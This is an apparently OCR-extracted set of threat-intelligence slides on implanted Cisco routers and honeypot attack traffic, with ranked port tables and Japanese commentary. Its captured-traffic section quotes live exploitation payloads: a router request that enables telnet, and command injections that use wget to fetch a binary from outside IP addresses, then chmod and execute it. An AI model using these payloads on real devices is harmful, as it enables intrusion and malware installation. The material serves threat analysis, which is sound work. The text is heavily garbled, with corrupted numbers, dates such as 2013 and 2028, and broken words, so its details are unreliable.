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Country Distribution Of
Cisco Routers With Implants

Scan performed

by Censys on 2023-10-18

GreyNoiseDA&EMER(10/18)

Cen

October 18th, 2023

We reran the scan overnight and found a sharp increase in infections.
Iterating on our current query to find potential targets, we updated it
with some more generic conditionals, hoping to find even more
potentially vulnerable hosts. Unfortunately, the updates were successful,
and we found even more compromised hosts this morning. Here is an
updated set of statistics.
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1 (=) | 1 23/TcP |11 (1) 10 | 6379/TCP |21 (1) | 12 81/TCP

2 *) 2 80/TCP 12 (¢ 11 445/TCP 22 (i) 18 8081/TCP

0) (1) | 4 22/TCP |13 (1) 20 | 8088/TCP [23 (1) | 53 999/TCP

o — ‘.L y 4 (1)| 6 8080/TCP |14 (! 5555/TCP |24 (—) & 24 21/TCP
I

l \ y 5 (=) | 5 3389/TCP |15 (1) 14 53/UDP |25 (1) | 30  1900/UDP

6 (1) 7 443/TCP 16 (1) 15 2222/TCP |26 (1) 21 8888/TCP

w

7 (1) 8 5060/UDP 7 64 8728/TCP |27 (1) 22 1433/TCP
8 (1) 19 8443/TCP 18 (1) 16 2375/TCP 28 (1) 21 2323/TCP

9 (1) = 27610/UDP 19 (7) 23 123/UDFP 29 (1) 26 2376/TCP

10 (1 15734/UDP |20 (| 13 3128/TCP 30 (! 29 5060/TCP

Q 1 1 44 Q 80 i 1.47 U

CY' N

CYBERSECURITY NEXUS




telnet & ssh

1 23ftep 23/tep  23/tep  23/tep  23/tp 23/tep  23/tep  23ftep 23/tep  23/tep
2 22/tcp 22/tcp 22/tcp 80/tcp 22/tcp 22/tcp 22/tcp 80/tcp 80/tcp 80/tcp
3 80/tcp 80/tcp 80/tcp 22/tcp 80/tcp 80/tcp 80/tcp 22/tcp 9077/tcp 22/tcp
4 5555/tcp 3389/tcp 5555/tcp 3389/tcp 3389/tcp 5555/tcp 8080/tcp 8080/tcp 22/tcp 8080/tcp
5 6379/tcp 8080/tcp 3389/tcp  37215/tcp 443 /tcp 3389/tcp 3389/tcp 443 /tcp 3389/tcp 3389/tcp
6 2375/tcp 5555/tcp  37215/tcp 443 /tcp 6379/tcp 443/tcp A443/tcp 3389/tcp 8080/tcp 443 /tcp
7 443 /tcp 443/tcp 8080/tcp 8080/tcp 8080/tcp 8080/tcp 5555/tcp 5555/tcp 443/tcp  5060/udp
3 445 /tcp 81/tcp 443 /tcp 5555/tcp  5060/udp  37215/tcp 445/tcp 5060/udp 5060/udp 8443/tcp
9 2376/tcp  6379/tcp 81/tcp  6379/tcp[ENRNREY ~ 445/tcp  5060/udp 81/tcp  5555/tcp  27610/tcp
10 81/tcp 445/tcp 6379/tcp 5060/tcp  37215/tcp 81/tcp 8081/tcp 6379/tcp 6379/tcp  15734/udp
11 8080/tcp  37125/tcp 445/tcp 445/tcp  5555/tcp  6379/tcp 81/tcp 445/tcp 445/tcp 6379/tcp
12 5060/udp 2375/tcp 5060/udp 2375/tcp 445 /tcp 5060/udp 2375/tcp 8443/tcp 81/tcp 445 /tcp
13 3389/tcp  5060/udp [NERNAE 81/tcp 81/tcp  2375/tcp  3128/tcp  3128/tcp  3128/tcp  8088/tcp
14 2323/tcp 8081/tcp  2376/tcp| NS  2375/tcp  123/udp  6379/tcp  8081/tcp 53/udp  5555/tcp
15 123/udp 2222/tcp 123/udp 123/udp 53/udp 8081/tcp  52869/tcp 2375/tcp 2222/tcp 53/udp
16 37215/tcp 123/udp  34567/tcp 2376/tcp 2376/tcp 2376/tcp 2323/tcp  52869/tcp 2375/tcp 2222/tcp
17 1433/tcp R NRE]  8081/tcp  34567/tcp 123/udp  8443/tcp  8443/tcp 53/udp  3291/tcp  8728/tcp
18 4200/tcp 2323/tcp 2222/tcp 53/udp 1433/tcp 2323/tcp 2376/tcp 2222/tcp 8081/tcp 2375/tcp
19 111/tcp 2376/tcp 8443/tcp 8443/tcp 21/tcp 53/udp 123/udp 8088/tcp 8443/tdp 123/udp
20 8443/tcp  1433/tcp  2376/tcp  1433/tcp  8443/tep [N, 21/tcp 21/tcp  8088/tcp  3128/tcp
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23/tep

3389/tcp

23/tcp 23/tcp 23/tcp
22/tcp 22/tcp 22/tcp
~ 80/to 80/tep  80/tep
5555/tcp  3389/tcp  5555/tcp
6379/tcp.  8080/tcp  3389/tcp
2375/tcp 5555/tcp
445/tcp 81/tcp
2376/tcp 6379/tcp 81/tcp
81/tcp 445/tcp 6379/tcp
8080/tcp  37125/tcp 445/tcp
5060/udp  2375/tcp  5060/udp
3389/tcp 5060/udp  60023/tcp
2323/tcp 8081/tcp 2376/tcp
123/udp 2222/tcp 123/udp
37215/tcp  123/udp  34567/tcp
1433/tcp 60023/tcp 8081 /tcp
4200/tcp  2323/tcp  2222/tcp
111/tcp

8080/tcp
5555/tcp
6379/tcp

5060/tcp

445 /tcp
2375/tcp
81/tcp
60023/tcp
123/udp
2376/tcp
34567/tcp
53/udp

1433/tcp

2376/tcp

23/tcp 23/tcp 23/tcp 23/tcp 23/tcp 23/tcp
22fon  22cp 22t INNNNEOIRGR MRS/ IOMNEO/ReD
22/tcp[ 1 80/teg " 80/tep| " 80/tcp 22/tcp 9077/tcp 22/tcp
3389/tcp 5555/tcp 8080/tcp 8080/tcp 22/tcp 8080/tcp
3389/tcp  3389/tcp|MNAAGJIEE  3389/tcp  3389/tcp

6379/tcp [NAds/tcy WNAIS/e  3389/tco 8080/tcp[NAASJECH
8080/tcp 8080/tcp 5555/tcp 5555/tcp 5060/udp
5060/udp  37215/tcp  445/tcp  5060/udp  5060/udp| 8443/tep
60023/tcp 445/tcp 5060/udp 81/tcp 5555/tcp  27610/tcp
37215/tcp 81/tcp 8081/tcp 6379/tcp 6379/tcp  15734/udp
5555/tcp 6379/tcp 81/tcp 445/tcp 445/tcp 6379/tcp
445/tcp  5060/udp  2375/tcp[ 8443/tcp 81/tcp 445 /tcp
81/tcp  2375/tcp  3128/tcp  3128/tcp  3128/tcp | COGOLICH
2375/tcp 123/udp 6379/tcp 8081/tcp 53/udp 5555/tcp
53/udp 8081/tcp  52869/tcp 2375/tcp 2222/tcp 53/udp
2376/tcp 2376/tcp 2323/tcp  52869/tcp 2375/tcp 2222/tcp
123/udp| | 8443/tcp| 8443/ted  53/udp  3291/tcp  8728/tcp
1433/tcp 2323/tcp 2376/tcp 2222/tcp 8081/tcp 2375/tcp
21/tcp 53/udp  123/udp | NCOBOMEE|  8443/tdp  123/udp
60023/tcp 21/tcp 21/tco | INGOBOMEE  3128/tcp
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23/tcp
22/tcp
80/tcp
5555/tcp
6379/tcp
2375/tcp
443 /tcp
445 /tcp
2376/tcp

81/tcp

8080/tcp
5060/udp
3389/tcp
2323/tcp
123/udp
37215/tcp
1433/tcp
4200/tcp
111/tcp
8443 /tcp

Android Debug Bridge?

23/tcp
22/tcp
80/tcp
3389/tcp
8080/tcp
5555/tcp
443 /tcp
81/tcp
6379/tcp

445/tcp

37125/tcp
2375/tcp
5060/udp
8081/tcp
2222/tcp
123/udp
60023/tcp
2323/tcp
2376/tcp
1433/tcp

23/tcp
22/tcp
80/tcp
5555/tcp
3389/tcp
37215/tcp
8080/tcp
443 /tcp
81/tcp

6379/tcp

445/tcp
5060/udp
60023/tcp
2376/tcp
123/udp
34567/tcp
8081/tcp
2222/tcp
8443/tcp
2376/tcp

23/tcp
80/tcp
22/tcp
3389/tcp
37215/tcp
443 /tcp
8080/tcp
5555/tcp
6379/tcp

5060/tcp

445/tcp
2375/tcp
81/tcp
60023/tcp
123/udp
2376/tcp
34567/tcp
53/udp
8443/tcp
1433/tcp

23/tcp
22/tcp
80/tcp
3389/tcp
443 /tcp
6379/tcp
8080/tcp
5060/udp
60023/tcp

37215/tcp

5555/tcp
445/tcp
81/tcp
2375/tcp
53/udp
2376/tcp
123/udp
1433/tcp
21/tcp
8443/tcp

23/tcp
22/tcp
80/tcp
5555/tcp
3389/tcp
443 /tcp
8080/tcp
37215/tcp
445 /tcp

81/tcp

6379/tcp
5060/udp
2375/tcp
123/udp
8081/tcp
2376/tcp
8443 /tcp
2323/tcp

53/udp
60023/tcp

23/tcp
22/tcp
80/tcp
8080/tcp
3389/tcp
443 /tcp
5555/tcp
445/tcp
5060/udp

8081/tcp

81/tcp
2375/tcp
3128/tcp
6379/tcp
52869/tcp
2323/tcp
8443 /tcp
2376/tcp
123/udp
21/tcp

23/tcp
80/tcp
22/tcp
8080/tcp
443 /tcp
3389/tcp
5555/tcp
5060/udp
81/tcp

6379/tcp

445/tcp
8443/tcp
3128/tcp
8081/tcp
2375/tcp
52869/tcp
53/udp
2222/tcp
8088/tcp
21/tcp

23/tcp
80/tcp
9077/tcp
22/tcp
3389/tcp
8080/tcp
443 /tcp
5060/udp
5555/tcp

6379/tcp

445/tcp
81/tcp
3128/tcp
53/udp
2222/tcp
2375/tcp
3291/tcp
8081/tcp
8443/tdp
8088/tcp

23/tcp
80/tcp
22/tcp
8080/tcp
3389/tcp
443 /tcp
5060/udp
8443/tcp
27610/tcp

15734/udp

6379/tcp

445/tcp
8088/tcp
5555/tcp

53/udp
2222/tcp
8728/tcp
2375/tcp
123/udp
3128/tcp
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23/tcp
22/tcp
80/tcp
5555/tcp
6379/tcp
2375/tcp
443 /tcp

2376/tcp
81/tcp

8080/tcp
5060/udp
3389/tcp
2323/tcp
123/udp
37215/tcp
1433/tcp
4200/tcp
111/tcp
8443/tcp

RDP & SMB

23/tcp
22/tcp
80/tcp
3389/tcp
8080/tcp
5555/tcp
443 /tcp
81/tcp
6379/tcp

23/tcp
22/tcp
80/tcp
5555/tcp
3389/tcp
37215/tcp
8080/tcp
443 /tcp
81/tcp

6379/tcp

23/tcp
80/tcp
22/tcp
3389/tcp
37215/tcp
443/tcp
8080/tcp
5555/tcp
6379/tcp

5060/tcp

2375/tcp
5060/udp
8081/tcp
2222/tcp
123/udp
60023/tcp
2323/tcp
2376/tcp
1433/tcp

5060/udp
60023/tcp
2376/tcp
123/udp
34567/tcp
8081/tcp
2222/tcp
8443 /tcp
2376/tcp

81/tcp
60023/tcp
123/udp
2376/tcp
34567/tcp
53/udp
8443 /tcp
1433/tcp

23/tcp
22/tcp
80/tcp
3389/tcp
443/tcp
6379/tcp
8080/tcp
5060/udp

37215/tcp

5555/tcp

81/tcp
2375/tcp
53/udp
2376/tcp
123/udp
1433/tcp
21/tcp
8443/tcp

23/tcp
22/tcp
80/tcp
5555/tcp
3389/tcp
443/tcp
8080/tcp

81/tcp

6379/tcp
5060/udp
2375/tcp
123/udp
8081/tcp
2376/tcp
8443/tcp
2323/tcp
53/udp
60023/tcp

23/tcp
80/tcp
9077/tcp
22/tcp
3389/tcp
8080/tcp
443 /tcp
5060/udp
5555/tcp

6379/tcp
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23/tcp 23/tcp
22/tcp 80/tcp
80/tcp 22/tcp
8080/tcp 8080/tcp
3389/tcp 443/tcp
443 /tcp 3389/tcp
5555/tcp 5555/tcp
5060/udp

5060/udp 81/tcp
8081/tcp 6379/tcp
2375/tcp  8443/tcp
3128/tcp 3128/tcp
6379/tcp 8081/tcp
52869/tcp 2375/tcp
2323/tcp  52869/tcp
8443/tcp 53/udp
2376/tcp 2222/tcp
123/udp 8088/tcp
21/tcp 21/tcp

3128/tcp

53/udp
2222/tcp
2375/tcp
3291/tcp
8081/tcp
8443/tdp
8088/tcp

23/tcp
80/tcp
22/tcp
8080/tcp
3389/tcp
443 /tcp
5060/udp
8443 /tcp
27610/tcp

15734/udp

6379/tcp

8088/tcp
5555/tcp

53/udp
2222/tcp
8728/tcp
2375/tcp
123/udp
3128/tcp
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23/tcp
22/tcp
80/tcp
5555/tcp
6379/tcp
2375/tcp
443 /tcp
445/tcp
2376/tcp

81/tcp

8080/tcp
5060/udp
3389/tcp
2323/tcp
123/udp
37215/tcp
1433/tcp
4200/tcp
111/tcp
8443/tcp

23/tcp
22/tcp
80/tcp
3389/tcp
8080/tcp
5555/tcp
443 /tcp
81/tcp
6379/tcp

445 /tcp

37125/tcp
2375/tcp
5060/udp
8081/tcp
2222/tcp
123/udp
60023/tcp
2323/tcp
2376/tcp
1433 /tcp

23/tcp
22/tcp
80/tcp
5555/tcp
3389/tcp
37215/tcp
8080/tcp
443 /tcp
81/tcp

6379/tcp

445/tcp
5060/udp
60023/tcp
2376/tcp
123/udp
34567/tcp
8081/tcp
2222/tcp
8443/tcp
2376/tcp

23/tcp
80/tcp
22/tcp
3389/tcp
37215/tcp
443 /tcp
8080/tcp
5555/tcp
6379/tcp

5060/tcp

445/tcp
2375/tcp
81/tcp
60023/tcp
123/udp
2376/tcp
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POST /setup?misc_telnet.htal HTTP/1.1

oo I - °°

Authorization: Basic YWRtaWd6MTIzNA==

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wint4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/
183.0.0.8 Safari/537.36

Content-Length: 62

telnet=1&portnuaber=66668lan«~18remote2=14Submit=+XCOXDFXCAREAHTTP/1.0 200 OK
job 37050 at 2013-89-19 17:01

X-FRAME-OPTIONS: SAMEORIGIN

Content-type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" “"http://www.w3.0rg/TR/html4/loose.dtd™>
<html>

<head>

<meta http-equive="Content-Type"” content="text/html; charset-EUC-IP">
<meta http-equiv="Content-Script-Type” content="text/javascript™>
<title>Rooster Web........cv cevevneas o oo e sle </title>

<link href="setup?common.css” rel="stylesheet™ type="text/css™>
</head>

<body>

Clom: o nainnmive wa -->

<div class="sta">

<span class="steps“>........ </span>
</div>

</body>

</html>

TelnetDBRIMEER D DIy b

B e~
admin

T71ILEAN R RZ D C 78D TS
1234
ping ; cd /tmp; wget http://141.98.6.3 1, C- | sh

TelnetTOIAVY I REFTDIN Y

GET / HWTTP/1.1

Host: ]

User-Agent: Mozilla/5.0 (Windows NT 19.9;
1803.0.0.0 Safari/537.36

" oo

WinB4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/

HTTP/1.1 481 Unauthorized

Server: thttpd/2.25b 29dec2edl

Content-Type: text/html; charset=""

Date: Thu, 19 Sep 2013 08:91:44 GMT
Last-Modified: Thu, 19 Sep 2013 08:01:44 GMT
Accept-Ranges: bytes

Connection: close

Cache-Control: no-cache,no-store
- Authenticate: Basic realm="."

<HTML>

<HEAD><TITLE>491 Unauthorized</TITLE></HEAD>

<BODY BGCOLOR="#¢c9999" TEXT~"#002000" LINK="820208FF" VLINK="#4048cc">

<H2>491 Unauthorized</H2>

Authorization required for the URL /',

<HR>

<ADDRESS><A HREF="http://www.acse.com/software/thttpd/ “>thttpd/2.250 29dec2083</A></ADDRESS>
</BODY>

</HTML>

INF—REHD7

BASICEREEHS LU —/\ANYSTHRELEZ®. thttpd&RT 70D RO Rooster&IEE L\ EINRL,
LU o200—-R335T71LEN Y — 7Y SR> 1= DI HEE




_ M5tz 27200 7 ’

® T 5y, WEB Ul
v 11— —(Sler?)h\'&

X

& LANBIDADAREE DTS

MIC A AFEREICRELEZ?

® NFEREICURICEEN ST /INAT—REZEEL TR

_NS2DOhH R

X

TR D CIE ﬁ%k&’)?‘ EABND

B I 7—LDIF TR NRXT—ROEELEH L THY.
11— —GREFEE) DEHEZZ TULHRWVWERITRVEBREEWVWZSD




35

ENLIVIV—5 2




FFEDASTDIRA FERDIENN

2000

1800

1600

1400

1200

1000

80

(@)

9/16&kY

1007R R ML EDIBNNZHEER

60

o

40

o

20

o

mAS: A = ZDfh

CYBERSECURITY NEXUS




_ XMETTDRE

« ShodanZz{&

asDWebUIZmEEILTZ

522 Open Ports

e HTTPSOAXR—IICIE, ﬂﬂ

net-snmp

SP

JUCRABLZECS,. SNMPELlighttpd MAER SN TLVE
- SNMPODIEERIC (&, BIE

/443 /TCP 4

lighttpd 1420

Content-Type: text/html

Accept-Ranges: bytes

ETag: "988416651"

Last-modified: mMon, @5 Oct 2028 19:27:31 GMT
Content-Length: 13853

Date: Sat, 21 Oct 2823 @4:29:21 GMT

Server: lighttpd/1.4.3@
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iGET /cgi-bin/popen.cgi?command=ping;wget%28-0%20/tmp/Hytec%28http://203.23.128.62:18€81/download chmod%208777%20/
tmp/Hytec; /tmp/Hytec%202871ed18981c4316b59989f4ed9b5d8b%2026755& HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KH ° _
537.36 T7PAIVEANA—N—RICTZDOTLD
Accept-Encoding: gzip, deflate

Accept: text/plain, */*; g=0.01

|Connection: keep-alive

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

HTTP/1.1 200 OK

Server: lighttpd/1.4.30

Content-Type: text/plain; charset=UTF-8
Date: Mon, 09 Oct 2023 ©7:23:36 GMT
Last-Modified: Fri, 22 Sep 2023 ©4:34:28 GMT
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\Connection: close

Content-Length: ©
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Content-L th: e
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:s="http: . . 7
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u:AddPortMapping xmlns:u="urn:schemas-upnp- 60000/tcp 8080/tCD
org:service:WANIPConnection:1”><NewRemoteHost></NewRemoteHost>< 8080/tcp
NewExternalPort>4'7450</NewExternalPort><NewProtocol>TCP</N_eWPr9 10023/tcp 60000/th
tocol><NewlnternalPort>44382</NewlnternalPort><NewlnternalClient> 80/12CD 10023/tCD
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realtek™ </NewlnternalClient><NewEnabled>1</NewEnabled><NewPortMa uap 17000/tcp 8000/t 8000/tCD
ppingDescription>syncthing</NewPortMappingDescription><NewlLeaseDur 7000/tcp 7000/ cp 41873 /tcp
ation>0</NewlLeaseDuration></u:AddPortMapping></s:Body></s:Envelop 7001/tcp tcp 8001/tcp 8800/
o 8000/tcp ﬁgg%cp 8009/tcp 9000/%28
. SESCTR— 8080/t cP FESER—h 8080/tcp
LogitecBL— % 20> -T2 e 23231t " 5090/cp e s
- sl o N = cp
(fic HEH DR O— F 2 FER) 17900/kcp 22/tcp SR 60080/tc
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cd
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rm
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